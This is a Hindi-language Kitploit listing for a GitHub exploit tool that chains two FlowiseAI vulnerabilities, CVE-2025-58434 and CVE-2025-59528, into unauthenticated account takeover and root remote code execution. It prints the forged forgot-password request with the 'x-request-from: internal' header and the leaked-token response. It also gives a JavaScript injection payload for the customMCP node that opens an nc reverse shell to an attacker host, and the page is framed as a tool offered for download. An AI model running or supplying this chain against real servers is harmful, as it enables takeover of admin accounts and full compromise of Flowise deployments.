Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
Log in
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
FlowiseAI-Critical-KillChain — क्रिटिकल अनप्रमाणित हमला श्रृंखला जो FlowiseAI में पूर्ण RCE की ओर ले जाती है (CVE-2025-58434 + CVE-2025-59528) | Kitploit
उपकरण/GitHubGitHub/cveteam/flowiseai-critical-killchain
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगप्रमाणीकरणलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंट
GitHub
cveteam/flowiseai-critical-killchain

FlowiseAI-Critical-KillChain

क्रिटिकल अनप्रमाणित हमला श्रृंखला जो FlowiseAI में पूर्ण RCE की ओर ले जाती है (CVE-2025-58434 + CVE-2025-59528)

रिपॉजिटरी देखें
175 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

FlowiseAI — गंभीर किल चेन

FlowiseAI <= 3.0.5 के विरुद्ध अप्रमाणित खाता अधिग्रहण को रिमोट कोड निष्पादन के साथ जोड़ा गया। 5 सेकंड से कम में पूर्ण कंटेनर समझौता, शून्य क्रेडेंशियल आवश्यक।


किल चेन

FlowiseAI किल चेन आरेख
बाएँ: FlowiseAI लॉगिन पृष्ठ — दाएँ: CVE-2025-59528 के माध्यम से रूट शेल · uid=0(root)


विषय सूची

  • यह कैसे काम करता है — अवलोकन
  • कमजोरी विवरण
    • CVE-2025-58434 — टोकन प्रकटीकरण
    • CVE-2025-59528 — रिमोट कोड निष्पादन
  • यह श्रृंखला घातक क्यों है
  • एक्सप्लॉइट कोड वॉकथ्रू
  • उपयोग
  • पोस्ट-एक्सप्लॉइटेशन
  • शमन
  • संदर्भ

यह कैसे काम करता है — अवलोकन

यह एक्सप्लॉइट दो स्वतंत्र गंभीर कमजोरियों को एक एकल पूरी तरह से स्वचालित हमले में जोड़ता है। कोई भी कमजोरी अकेले पूर्ण समझौते की गारंटी नहीं देती — लेकिन एक साथ, वे शून्य क्रेडेंशियल से लेकर डॉकर कंटेनर के अंदर रूट शेल तक एक पूर्ण किल चेन बनाती हैं।

[No credentials]
      │
      ▼
① Abuse forgot-password endpoint (no auth required)
      │  → Server responds with the victim's reset token in plaintext
      ▼
② Submit token to reset-password endpoint
      │  → Attacker controls the admin password
      ▼
③ Login + retrieve Bearer API key
      │  → Full authenticated session established
      ▼
④ Send JavaScript payload via customMCP node
      │  → Server evaluates it via Function() constructor
      ▼
[Root shell inside Docker container]

इसे शून्य-इंटरैक्शन क्या बनाता है: किसी भी बिंदु पर पीड़ित को ईमेल प्राप्त नहीं होता, लॉगिन अलर्ट नहीं दिखता, या कोई दृश्य घटना ट्रिगर नहीं होती। हमला पूरी तरह से सर्वर-साइड है।


कमजोरी विवरण

CVE-2025-58434 — अप्रमाणित पासवर्ड रीसेट टोकन प्रकटीकरण

CVSS 3.1: 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
प्रभावित: FlowiseAI <= 3.0.5 (क्लाउड + स्व-होस्टेड)
सलाहकार: GHSA-wgpv-6j63-x5ph

मूल कारण

FlowiseAI में "आंतरिक" अनुरोधों की अवधारणा है — अपनी सेवाओं के बीच किए गए API कॉल — जिन्हें x-request-from: internal HTTP हेडर द्वारा पहचाना जाता है। /api/v1/account/forgot-password एंडपॉइंट इस हेडर का उपयोग प्रमाणीकरण को पूरी तरह से छोड़ने और बाहरी कॉल करने वालों की तुलना में एक अलग, अधिक विस्तृत प्रतिक्रिया देने के लिए करता है।

समस्या: इस हेडर को किसी भी तरह से मान्य या प्रतिबंधित नहीं किया गया है। इंटरनेट पर कोई भी हमलावर इसे भेज सकता है। जब वे ऐसा करते हैं, तो पासवर्ड रीसेट ईमेल ट्रिगर करने के बजाय, API पूर्ण उपयोगकर्ता रिकॉर्ड के साथ प्रतिक्रिया करता है — जिसमें एक लाइव tempToken शामिल है जिसका उपयोग तुरंत नया पासवर्ड सेट करने के लिए किया जा सकता है।

यह क्यों काम करता है

सामान्यतः, पासवर्ड रीसेट प्रवाह इस प्रकार दिखता है:

उपयोगकर्ता रीसेट का अनुरोध करता है → सर्वर टोकन उत्पन्न करता है → टोकन ईमेल द्वारा भेजा जाता है → उपयोगकर्ता लिंक पर क्लिक करता है → पासवर्ड बदल जाता है

यहाँ, सर्वर ईमेल चरण को पूरी तरह से छोड़ देता है और टोकन को सीधे HTTP प्रतिक्रिया निकाय में रखता है। हमलावर इसे पकड़ लेता है और सीधे रीसेट चरण पर चला जाता है — किसी ईमेल पहुंच की आवश्यकता नहीं है।

अनुरोध

POST /api/v1/account/forgot-password HTTP/1.1
Host: <target>
Content-Type: application/json
x-request-from: internal

{"user": {"email": "[email protected]"}}

प्रतिक्रिया 201 — पूर्ण उपयोगकर्ता रिकॉर्ड उजागर

{
  "user": {
    "email": "[email protected]",
    "credential": "$2a$05$hVtF9EKL0lI1qqrvwTD3QeFMzVlvtk8fAKX...",
    "tempToken": "N5oXQ9C99h0zMNNGWLvoE4buMvcdXN32...",
    "tokenExpiry": "2026-04-11T21:37:03.063Z",
    "status": "active"
  }
}

फिर tempToken को सीधे रीसेट एंडपॉइंट पर प्रस्तुत किया जाता है — कोई ईमेल इंटरैक्शन, कोई CAPTCHA, कोई दर सीमा नहीं।


CVE-2025-59528 — कस्टमएमसीपी नोड के माध्यम से रिमोट कोड निष्पादन

CVSS 3.1: 10.0 Critical — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
प्रभावित: FlowiseAI <= 3.0.5
सलाहकार: GHSA-3gcm-f6qx-ff7p

मूल कारण

FlowiseAI उपयोगकर्ताओं को JSON स्ट्रिंग के रूप में प्रदान की गई सर्वर कॉन्फ़िगरेशन के साथ कस्टम MCP (मॉडल संदर्भ प्रोटोकॉल) नोड्स को परिभाषित करने की अनुमति देता है। आंतरिक रूप से, प्लेटफ़ॉर्म को इस कॉन्फ़िगरेशन को पार्स करने की आवश्यकता होती है — और यह JavaScript के Function() कंस्ट्रक्टर का उपयोग करके ऐसा करता है, जो eval() के कार्यात्मक रूप से समतुल्य है।

कॉन्फ़िगरेशन स्ट्रिंग पूरी तरह से अशोधित सिंक तक पहुँचती है:

// packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts — line 262
const result = Function('return ' + mcpServerConfig)();
//                       ↑ unsanitized user input — arbitrary JS execution

Function() eval() जितना खतरनाक क्यों है

Function('return ' + code)() निम्नलिखित करता है:

  1. code को इसके मुख्य भाग के रूप में एक नया JavaScript फ़ंक्शन बनाता है
  2. तुरंत इसे लागू करता है
  3. परिणाम लौटाता है

यह हमलावर को process, require, child_process और संपूर्ण Node.js रनटाइम तक पहुंच के साथ एक पूर्ण JavaScript निष्पादन संदर्भ देता है — कोई सैंडबॉक्स नहीं।

टेंट प्रवाह — HTTP से शेल तक

HTTP POST /api/v1/node-load-method/customMCP
  └─ body.inputs.mcpServerConfig                  ← attacker-controlled string
       └─ substituteVariablesInString()            ← no filtering, passes through
            └─ convertToValidJSONString()          ← no filtering, passes through
                 └─ Function('return ' + input)()  ← arbitrary code executes here

इंजेक्शन पेलोड

({x:(function(){
  const cp = process.mainModule.require("child_process");
  cp.exec("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f");
  return 1;
})()})

mkfifo और /dev/tcp क्यों नहीं?
कंटेनर /bin/sh चलाता है, न कि /bin/bash। /dev/tcp केवल bash की विशेषता है — यह मानक POSIX शेल में मौजूद नहीं है। mkfifo एक नामित पाइप बनाता है जो किसी भी POSIX-अनुरूप शेल में काम करता है, जिससे रिवर्स शेल कंटेनर वातावरणों में पोर्टेबल हो जाता है।


यह श्रृंखला घातक क्यों है

टूल डाउनलोड करें